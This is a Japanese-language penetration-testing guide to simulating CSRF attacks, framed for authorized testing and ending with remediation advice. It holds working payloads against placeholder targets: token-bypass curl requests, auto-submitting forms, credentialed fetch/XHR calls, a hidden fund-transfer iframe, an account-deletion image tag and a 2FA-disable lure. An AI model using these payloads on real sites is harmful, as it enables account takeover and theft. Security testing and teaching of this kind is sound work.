performing-csrf-attack-simulation

CSRF 攻撃のシミュレーション

使用する場面

• 認可された Web アプリケーションのペネトレーションテストで、CSRF に対して脆弱な状態変更アクションを特定するとき
• CSRF 対策トークンの実装が有効かどうかをテストするとき
• 異なるブラウザー間で SameSite Cookie 属性が適用されているかを検証するとき
• パスワード変更、資金移動、設定変更などの機密性の高い操作を行うアプリケーションを評価するとき
• カスタムの認証およびセッション管理の仕組みをセキュリティ監査するとき

前提条件

• 認可：対象をテストするための、書面によるペネトレーションテスト契約
• Burp Suite Professional：CSRF PoC ジェネレーター機能を備えていること
• Web サーバー：CSRF PoC ページのホスティング用ローカル HTTP サーバー（Python http.server）
• 2 つのブラウザー：一方は被害者として認証済み、もう一方は攻撃者として使用
• 対象アプリケーション：有効なテスト用認証情報による認証済みセッション
• HTML/JavaScript の知識：カスタム CSRF ペイロードの作成用

**法的通知：**このスキルは、認可されたセキュリティテストおよび教育目的に限り使用してください。所有していない、またはテストの書面による許可を得ていないシステムに対する無許可の使用は違法であり、コンピューター犯罪に関する法律に違反するおそれがあります。

ワークフロー

ステップ 1：状態を変更するリクエストを特定する

アプリケーションを閲覧し、サーバー側の状態を変更するすべての POST/PUT/DELETE リクエストを特定します。

# In Burp Suite, review Proxy > HTTP History
# Filter for POST/PUT/DELETE methods
# Focus on actions like:
# - Password/email change
# - Fund/money transfers
# - Account settings modifications
# - Adding/removing users or permissions
# - Creating/deleting resources
# - Toggling security features (2FA disable)

# Example state-changing request captured in Burp:
POST /api/account/change-email HTTP/1.1
Host: target.example.com
Cookie: session=abc123def456
Content-Type: application/x-www-form-urlencoded

[email protected]

# Check for anti-CSRF protections:
# - CSRF tokens in form fields or headers
# - Custom headers (X-CSRF-Token, X-Requested-With)
# - SameSite cookie attribute
# - Referer/Origin header validation

ステップ 2：CSRF 対策トークンの実装を分析する

存在する CSRF 対策の強度と適用状況をテストします。

# Check if CSRF token is present
curl -s -b "session=abc123" \
  "https://target.example.com/account/settings" | \
  grep -i "csrf\|token\|_token"

# Test 1: Remove the CSRF token entirely
curl -s -X POST \
  -b "session=abc123" \
  -d "[email protected]" \
  "https://target.example.com/api/account/change-email" \
  -w "%{http_code}"

# Test 2: Send empty CSRF token
curl -s -X POST \
  -b "session=abc123" \
  -d "[email protected]&csrf_token=" \
  "https://target.example.com/api/account/change-email" \
  -w "%{http_code}"

# Test 3: Use a random/invalid CSRF token
curl -s -X POST \
  -b "session=abc123" \
  -d "[email protected]&csrf_token=AAAAAAAAAA" \
  "https://target.example.com/api/account/change-email" \
  -w "%{http_code}"

# Test 4: Reuse an expired/old CSRF token
curl -s -X POST \
  -b "session=abc123" \
  -d "[email protected]&csrf_token=previously_captured_token" \
  "https://target.example.com/api/account/change-email" \
  -w "%{http_code}"

# Test 5: Use User B's CSRF token with User A's session
curl -s -X POST \
  -b "session=user_a_session" \
  -d "[email protected]&csrf_token=user_b_csrf_token" \
  "https://target.example.com/api/account/change-email" \
  -w "%{http_code}"

ステップ 3：SameSite Cookie とヘッダーによる保護を確認する

ブラウザーレベルおよびヘッダーベースの CSRF 防御を検証します。

# Check SameSite attribute on session cookies
curl -s -I "https://target.example.com/login" | grep -i "set-cookie"
# Look for: SameSite=Strict, SameSite=Lax, or SameSite=None

# SameSite=Lax allows CSRF on top-level GET navigations
# SameSite=None; Secure allows cross-site requests
# No SameSite attribute: browser defaults to Lax (modern browsers)

# Check for Origin/Referer header validation
# Send request with no Referer
curl -s -X POST \
  -b "session=abc123" \
  -H "Referer: " \
  -d "[email protected]&csrf_token=valid_token" \
  "https://target.example.com/api/account/change-email" \
  -w "%{http_code}"

# Send request with evil Referer
curl -s -X POST \
  -b "session=abc123" \
  -H "Referer: https://evil.example.com/attack" \
  -d "[email protected]&csrf_token=valid_token" \
  "https://target.example.com/api/account/change-email" \
  -w "%{http_code}"

# Send request with spoofed Origin
curl -s -X POST \
  -b "session=abc123" \
  -H "Origin: https://evil.example.com" \
  -d "[email protected]" \
  "https://target.example.com/api/account/change-email" \
  -w "%{http_code}"

ステップ 4：Burp Suite で CSRF の概念実証を生成する

迅速なテストには、Burp に組み込まれている CSRF PoC ジェネレーターを使用します。

# In Burp Suite:
# 1. Right-click the target request in Proxy > HTTP History
# 2. Select "Engagement tools" > "Generate CSRF PoC"
# 3. Click "Test in browser" to validate the PoC

# Burp generates HTML like:

<html>
  <body>
    <h1>Loading...</h1>
    <form action="https://target.example.com/api/account/change-email"
          method="POST" id="csrf-form">
      <input type="hidden" name="email" value="[email protected]" />
    </form>
    <script>
      document.getElementById('csrf-form').submit();
    </script>
  </body>
</html>

ステップ 5：高度な CSRF ペイロードを作成する

JSON API やその他の標準外のコンテンツタイプには、高度な手法を使用します。

<html>
  <body>
    <form action="https://target.example.com/api/account/change-email"
          method="POST"
          enctype="text/plain"
          id="csrf-form">
      <input type="hidden"
             name='{"email":"[email protected]","ignore":"'
             value='"}' />
    </form>
    <script>
      document.getElementById('csrf-form').submit();
    </script>
  </body>
</html>


<script>
var xhr = new XMLHttpRequest();
xhr.open("POST", "https://target.example.com/api/account/change-email", true);
xhr.setRequestHeader("Content-Type", "application/json");
xhr.withCredentials = true;
xhr.send(JSON.stringify({"email": "[email protected]"}));
</script>


<script>
fetch("https://target.example.com/api/account/change-email", {
  method: "POST",
  credentials: "include",
  headers: {"Content-Type": "application/x-www-form-urlencoded"},
  body: "[email protected]"
});
</script>


<img src="https://target.example.com/api/account/delete?confirm=true"
     style="display:none" />


<iframe style="display:none" name="csrf-frame"></iframe>
<form action="https://target.example.com/api/transfer"
      method="POST" target="csrf-frame" id="csrf-form">
  <input type="hidden" name="to_account" value="attacker-account" />
  <input type="hidden" name="amount" value="1000" />
</form>
<script>document.getElementById('csrf-form').submit();</script>

ステップ 6：CSRF 攻撃をテストして検証する

PoC をホスティングし、攻撃が成功することを確認します。

# Start a local web server to host the CSRF PoC
cd /tmp/csrf-poc
python3 -m http.server 8888

# PoC file structure:
# /tmp/csrf-poc/
#   index.html          <- CSRF PoC page
#   change-email.html   <- Email change CSRF
#   transfer.html       <- Fund transfer CSRF

# Testing steps:
# 1. Log in to target as victim user in Browser A
# 2. Open http://localhost:8888/change-email.html in Browser A
# 3. Check if the email was changed without victim's consent
# 4. Verify the state change in the application

# For SameSite=Lax bypass via top-level navigation:
# Use GET-based CSRF with window.open or anchor tag

<html>
  <body>
    <a href="https://target.example.com/api/settings?action=disable_2fa"
       id="csrf-link">Click here for a prize!</a>
    <script>
      // Automatic click via social engineering context
      // SameSite=Lax allows cookies on top-level GET navigations
    </script>
  </body>
</html>

主な概念

概念	説明
CSRF	認証済みユーザーのブラウザーをだまし、脆弱なサイトに意図しないリクエストを送信させる攻撃
CSRF 対策トークン	ユーザーのセッションに紐付けられた一意で予測不可能な値。状態を変更するリクエストに含める必要があります
SameSite Cookie	クロスサイトリクエストで Cookie を送信する条件を制御するブラウザー属性（Strict、Lax、None）
Origin ヘッダー	CSRF 検証に使用される、リクエスト元を示す HTTP ヘッダー
Referer ヘッダー	参照元ページの URL を含む HTTP ヘッダー。CSRF チェックに使用される場合があります
二重送信 Cookie	Cookie の値とリクエストパラメーターの値を比較する CSRF 防御
同期トークンパターン	サーバーがセッションごと、またはリクエストごとに一意のトークンを生成して検証する方式

ツールとシステム

ツール	目的
Burp Suite Professional	CSRF PoC ジェネレーターとリクエスト分析
OWASP ZAP	CSRF 対策トークンの検出と CSRF テスト
XSRFProbe	CSRF 脆弱性の自動スキャナー（pip install xsrfprobe）
Python http.server	CSRF PoC ページをホスティングするローカル Web サーバー
ブラウザー DevTools	Cookie、SameSite 属性、ネットワークリクエストの検査
CSRFTester (OWASP)	CSRF 攻撃の作成とテストに使う旧式のツール

よくあるシナリオ

シナリオ 1：CSRF トークンのないメールアドレス変更

メールアドレス変更フォームに CSRF トークンが含まれていません。攻撃者が、被害者のメールアドレスを攻撃者のアドレスに変更するフォームを自動送信するページをホスティングします。これにより、パスワードリセットを通じたアカウント乗っ取りが可能になります。

シナリオ 2：トークンのバイパスを利用した資金移動

銀行アプリケーションには CSRF トークンがありますが、パラメーターが完全に省略された場合に検証されません。振込フォームから csrf_token フィールドを削除すると、クロスサイトの資金移動が可能になります。

シナリオ 3：Content-Type の操作による JSON API の CSRF

JSON API のエンドポイントはカスタムヘッダーを要求しません。HTML フォームで enctype="text/plain" を使用すると、攻撃者は被害者のアカウント設定を変更する有効な JSON ボディを作成できます。

シナリオ 4：GET による状態変更での SameSite=Lax のバイパス

設定ページは GET リクエスト（/settings?disable_2fa=true）によって状態を変更します。SameSite=Lax ではトップレベルの GET ナビゲーションで Cookie が許可されるため、被害者をこの URL に誘導すると 2FA が無効になります。

出力形式

## CSRF Vulnerability Finding

**Vulnerability**: Cross-Site Request Forgery (Email Change)
**Severity**: High (CVSS 8.0)
**Location**: POST /api/account/change-email
**OWASP Category**: A01:2021 - Broken Access Control

### Reproduction Steps
1. Authenticate as victim at https://target.example.com
2. Host the following HTML on an attacker-controlled server
3. Trick victim into visiting the attacker page while authenticated
4. The victim's email is changed to [email protected] without consent

### Anti-CSRF Defenses Tested
| Defense | Present | Enforced |
|---------|---------|----------|
| CSRF Token | No | N/A |
| SameSite Cookie | Lax | Partial (GET bypass) |
| Origin Validation | No | N/A |
| Referer Validation | No | N/A |
| Custom Header Required | No | N/A |

### Impact
- Account takeover via email change + password reset chain
- Unauthorized fund transfers
- Settings modification (2FA disable, notification change)

### Recommendation
1. Implement synchronizer token pattern (anti-CSRF tokens) for all state-changing requests
2. Set SameSite=Strict on session cookies where possible
3. Validate Origin and Referer headers as defense-in-depth
4. Require re-authentication for sensitive operations (password change, fund transfer)
5. Use custom request headers (X-Requested-With) for AJAX endpoints